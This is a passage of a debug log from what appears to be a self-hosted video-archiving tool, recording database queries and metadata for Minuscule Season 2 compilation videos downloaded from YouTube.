= ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Housing Plant Project | S02E26\n00:07:24 | The Annoying Neighbor | S02E28\n00:11:00 | Love Apple | S02E45\n00:14:39 | Trapped | S02E64\n00:18:22 | A Butterfly's Nightmare | S02E20\n00:21:39 | The Iron Monster | S02E33\n00:25:12 | Metamorphosis | S02E61\n00:28:43 | Beehive On A Troll | S02E56\n00:32:13 | The Wing Case | S02E01\n00:35:59 | The Vegetable Garden | S02E10\n00:39:43 | Away all boarders! | S02E41\n00:43:26 | If Only Lonely | S02E22\n00:47:11 | The Hat Of The Medusa | S02E17\n00:50:57 | An Acorn Season | S02E05\n00:54:42 | Patatas Fritas | S02E21\n00:58:28 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #plant #winter #competition #Minuscule #nature #insects #ladybugs #animatedseries", "Homeless 🎃 Minuscule 🍃 80' Compilation", "6eb31f16-c023-4cf3-83af-2290826d8be7", "xQPQfuEUDH0", 3772, false, 5, "https://www.youtube.com/watch?v=xQPQfuEUDH0", 17, "/downloads/Miniscule Season 2/2025-10-28 Homeless 🎃 Minuscule 🍃 80' Compilation/Homeless 🎃 Minuscule 🍃 80' Compilation [xQPQfuEUDH0].mp4", false, false, false, [], 1, ~U[2025-10-28 15:02:07Z], ~U[2025-12-12 05:08:36Z], ~U[2025-12-12 05:08:36Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Housing Plant Project | S02E26\n00:07:24 | The Annoying Neighbor | S02E28\n00:11:00 | Love Apple | S02E45\n00:14:39 | Trapped | S02E64\n00:18:22 | A Butterfly's Nightmare | S02E20\n00:21:39 | The Iron Monster | S02E33\n00:25:12 | Metamorphosis | S02E61\n00:28:43 | Beehive On A Troll | S02E56\n00:32:13 | The Wing Case | S02E01\n00:35:59 | The Vegetable Garden | S02E10\n00:39:43 | Away all boarders! | S02E41\n00:43:26 | If Only Lonely | S02E22\n00:47:11 | The Hat Of The Medusa | S02E17\n00:50:57 | An Acorn Season | S02E05\n00:54:42 | Patatas Fritas | S02E21\n00:58:28 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #plant #winter #competition #Minuscule #nature #insects #ladybugs #animatedseries", "Homeless 🎃 Minuscule 🍃 80' Compilation", "xQPQfuEUDH0", 3772, false, 5, "https://www.youtube.com/watch?v=xQPQfuEUDH0", "/downloads/Miniscule Season 2/2025-10-28 Homeless 🎃 Minuscule 🍃 80' Compilation/Homeless 🎃 Minuscule 🍃 80' Compilation [xQPQfuEUDH0].mp4", false, ~U[2025-10-28 15:02:07Z]] 22:08:36.431 [debug] QUERY OK source="sources" db=0.3ms idle=259.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:36.432 [debug] QUERY OK source="media_profiles" db=0.2ms idle=9.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:36.432 [debug] QUERY OK source="media_items" db=0.4ms idle=9.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99915] 22:08:36.432 [debug] Current batch of media processed. Will check again in 1000ms 22:08:37.434 [debug] Current batch of media processed. Will check again in 1000ms 22:08:38.435 [debug] Current batch of media processed. Will check again in 1000ms 22:08:39.436 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Spider Driver | S02E36\n00:07:15 | Labyrinth | S02E69\n00:11:01 | Bzzaping | S02E03\n00:14:48 | Spider from the Depths | S02E31\n00:18:22 | Refrigerated | S02E65\n00:21:57 | Brushing | S02E46\n00:25:29 | Ladybugland | S02E62\n00:28:57 | Ants On The Train | S02E52\n00:32:28 | Snow Fly | S02E51\n00:35:53 | The Stubborn Spider | S02E04\n00:39:38 | A Pathetic She'Nut'Igan | S02E12\n00:43:24 | Fly Hunting | S02E24\n00:46:57 | Turbo speed | S02E58\n00:50:22 | The Iron Monster | S02E33\n00:53:55 | Summer Hat | S02E48\n00:57:37 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #flies #ladybug #car #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3721, "filename" => "/downloads/Miniscule Season 2/2025-11-01 High voltage | Minuscule 🍃 80' Compilation/High voltage | Minuscule 🍃 80' Compilation [UXxEZXNs1RM].mp4", "id" => "UXxEZXNs1RM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=UXxEZXNs1RM", "playlist_index" => 18, "timestamp" => 1762023634, "title" => "High voltage | Minuscule 🍃 80' Compilation", "upload_date" => "20251101"} 22:08:39.437 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1265.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:39.437 [debug] QUERY OK source="sources" db=0.3ms idle=1266.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:39.438 [debug] QUERY OK source="media_items" db=0.8ms idle=1266.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-01 19:00:34Z], 5] 22:08:39.465 [debug] QUERY OK source="media_items" db=25.2ms idle=1267.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Spider Driver | S02E36\n00:07:15 | Labyrinth | S02E69\n00:11:01 | Bzzaping | S02E03\n00:14:48 | Spider from the Depths | S02E31\n00:18:22 | Refrigerated | S02E65\n00:21:57 | Brushing | S02E46\n00:25:29 | Ladybugland | S02E62\n00:28:57 | Ants On The Train | S02E52\n00:32:28 | Snow Fly | S02E51\n00:35:53 | The Stubborn Spider | S02E04\n00:39:38 | A Pathetic She'Nut'Igan | S02E12\n00:43:24 | Fly Hunting | S02E24\n00:46:57 | Turbo speed | S02E58\n00:50:22 | The Iron Monster | S02E33\n00:53:55 | Summer Hat | S02E48\n00:57:37 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #flies #ladybug #car #Minuscule #nature #insects #ladybugs #animatedseries", "High voltage | Minuscule 🍃 80' Compilation", "36ab2ad6-8947-48a9-9804-9b5b7bb1187e", "UXxEZXNs1RM", 3721, false, 5, "https://www.youtube.com/watch?v=UXxEZXNs1RM", 18, "/downloads/Miniscule Season 2/2025-11-01 High voltage | Minuscule 🍃 80' Compilation/High voltage | Minuscule 🍃 80' Compilation [UXxEZXNs1RM].mp4", false, false, false, [], 1, ~U[2025-11-01 19:00:34Z], ~U[2025-12-12 05:08:39Z], ~U[2025-12-12 05:08:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Spider Driver | S02E36\n00:07:15 | Labyrinth | S02E69\n00:11:01 | Bzzaping | S02E03\n00:14:48 | Spider from the Depths | S02E31\n00:18:22 | Refrigerated | S02E65\n00:21:57 | Brushing | S02E46\n00:25:29 | Ladybugland | S02E62\n00:28:57 | Ants On The Train | S02E52\n00:32:28 | Snow Fly | S02E51\n00:35:53 | The Stubborn Spider | S02E04\n00:39:38 | A Pathetic She'Nut'Igan | S02E12\n00:43:24 | Fly Hunting | S02E24\n00:46:57 | Turbo speed | S02E58\n00:50:22 | The Iron Monster | S02E33\n00:53:55 | Summer Hat | S02E48\n00:57:37 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #flies #ladybug #car #Minuscule #nature #insects #ladybugs #animatedseries", "High voltage | Minuscule 🍃 80' Compilation", "UXxEZXNs1RM", 3721, false, 5, "https://www.youtube.com/watch?v=UXxEZXNs1RM", "/downloads/Miniscule Season 2/2025-11-01 High voltage | Minuscule 🍃 80' Compilation/High voltage | Minuscule 🍃 80' Compilation [UXxEZXNs1RM].mp4", false, ~U[2025-11-01 19:00:34Z]] 22:08:39.465 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=896.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:39.466 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=29.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:39.468 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=29.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [100350] 22:08:39.468 [debug] Current batch of media processed. Will check again in 1000ms 22:08:40.469 [debug] Current batch of media processed. Will check again in 1000ms 22:08:41.470 [debug] Current batch of media processed. Will check again in 1000ms 22:08:42.471 [debug] Current batch of media processed. Will check again in 1000ms 22:08:43.472 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Monster Of The Haunted Swamp | S02E37\n00:03:30 | The Iron Monster | S02E33\n00:07:04 | The Mosquito Of The Caribbean | S02E57\n00:10:49 | Microzilla | S02E07\n00:14:35 | The Hat Of The Medusa | S02E17\n00:18:20 | Zzz zzz | S02E44\n00:21:51 | Ladybugland | S02E62\n00:25:18 | Mission : BBQ | S02E09\n00:29:04 | Homeless | S02E02\n00:32:51 | Spider from the Depths | S02E31\n00:36:26 | Night of the Gastropods | S02E18\n00:40:11 | Sausage Predator | S02E06\n00:43:57 | The Annoying Neighbor | S02E28\n00:47:33 | Summer Hat | S02E48\n00:51:14 | An Acorn Season | S02E05\n00:55:00 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Monster #Swamp #Insects #Sounds #Iron #Panic #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3564, "filename" => "/downloads/Miniscule Season 2/2025-10-23 The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation/The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation [N5cGHceTqJU].mp4", "id" => "N5cGHceTqJU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=N5cGHceTqJU", "playlist_index" => 19, "timestamp" => 1761213648, "title" => "The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation", "upload_date" => "20251023"} 22:08:43.473 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=895.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:43.474 [debug] QUERY OK source="sources" db=0.4ms idle=302.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:43.476 [debug] QUERY OK source="media_items" db=0.9ms idle=303.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-23 10:00:48Z], 5] 22:08:43.506 [debug] QUERY OK source="media_items" db=29.9ms idle=305.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Monster Of The Haunted Swamp | S02E37\n00:03:30 | The Iron Monster | S02E33\n00:07:04 | The Mosquito Of The Caribbean | S02E57\n00:10:49 | Microzilla | S02E07\n00:14:35 | The Hat Of The Medusa | S02E17\n00:18:20 | Zzz zzz | S02E44\n00:21:51 | Ladybugland | S02E62\n00:25:18 | Mission : BBQ | S02E09\n00:29:04 | Homeless | S02E02\n00:32:51 | Spider from the Depths | S02E31\n00:36:26 | Night of the Gastropods | S02E18\n00:40:11 | Sausage Predator | S02E06\n00:43:57 | The Annoying Neighbor | S02E28\n00:47:33 | Summer Hat | S02E48\n00:51:14 | An Acorn Season | S02E05\n00:55:00 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Monster #Swamp #Insects #Sounds #Iron #Panic #Minuscule #nature #insects #ladybugs #animatedseries", "The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation", "2f2d748a-64ae-4e57-bdc7-b6d4419bd7bc", "N5cGHceTqJU", 3564, false, 5, "https://www.youtube.com/watch?v=N5cGHceTqJU", 19, "/downloads/Miniscule Season 2/2025-10-23 The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation/The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation [N5cGHceTqJU].mp4", false, false, false, [], 1, ~U[2025-10-23 10:00:48Z], ~U[2025-12-12 05:08:43Z], ~U[2025-12-12 05:08:43Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Monster Of The Haunted Swamp | S02E37\n00:03:30 | The Iron Monster | S02E33\n00:07:04 | The Mosquito Of The Caribbean | S02E57\n00:10:49 | Microzilla | S02E07\n00:14:35 | The Hat Of The Medusa | S02E17\n00:18:20 | Zzz zzz | S02E44\n00:21:51 | Ladybugland | S02E62\n00:25:18 | Mission : BBQ | S02E09\n00:29:04 | Homeless | S02E02\n00:32:51 | Spider from the Depths | S02E31\n00:36:26 | Night of the Gastropods | S02E18\n00:40:11 | Sausage Predator | S02E06\n00:43:57 | The Annoying Neighbor | S02E28\n00:47:33 | Summer Hat | S02E48\n00:51:14 | An Acorn Season | S02E05\n00:55:00 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Monster #Swamp #Insects #Sounds #Iron #Panic #Minuscule #nature #insects #ladybugs #animatedseries", "The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation", "N5cGHceTqJU", 3564, false, 5, "https://www.youtube.com/watch?v=N5cGHceTqJU", "/downloads/Miniscule Season 2/2025-10-23 The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation/The Monster Of The Haunted Swamp 🎃 Minuscule 🍃 75' Compilation [N5cGHceTqJU].mp4", false, ~U[2025-10-23 10:00:48Z]] 22:08:43.507 [debug] QUERY OK source="sources" db=0.2ms idle=335.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:43.507 [debug] QUERY OK source="media_profiles" db=0.2ms idle=33.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:43.508 [debug] QUERY OK source="media_items" db=0.3ms idle=33.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99487] 22:08:43.508 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #AOtLBkMuRzc/youtube video #AOtLBkMuRzc [AOtLBkMuRzc].NA", "id" => "AOtLBkMuRzc", "original_url" => "https://www.youtube.com/watch?v=AOtLBkMuRzc", "playlist_index" => 20, "title" => "youtube video #AOtLBkMuRzc"} 22:08:43.509 [debug] QUERY OK source="sources" db=0.2ms idle=32.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:43.509 [debug] Current batch of media processed. Will check again in 1000ms 22:08:44.510 [debug] Current batch of 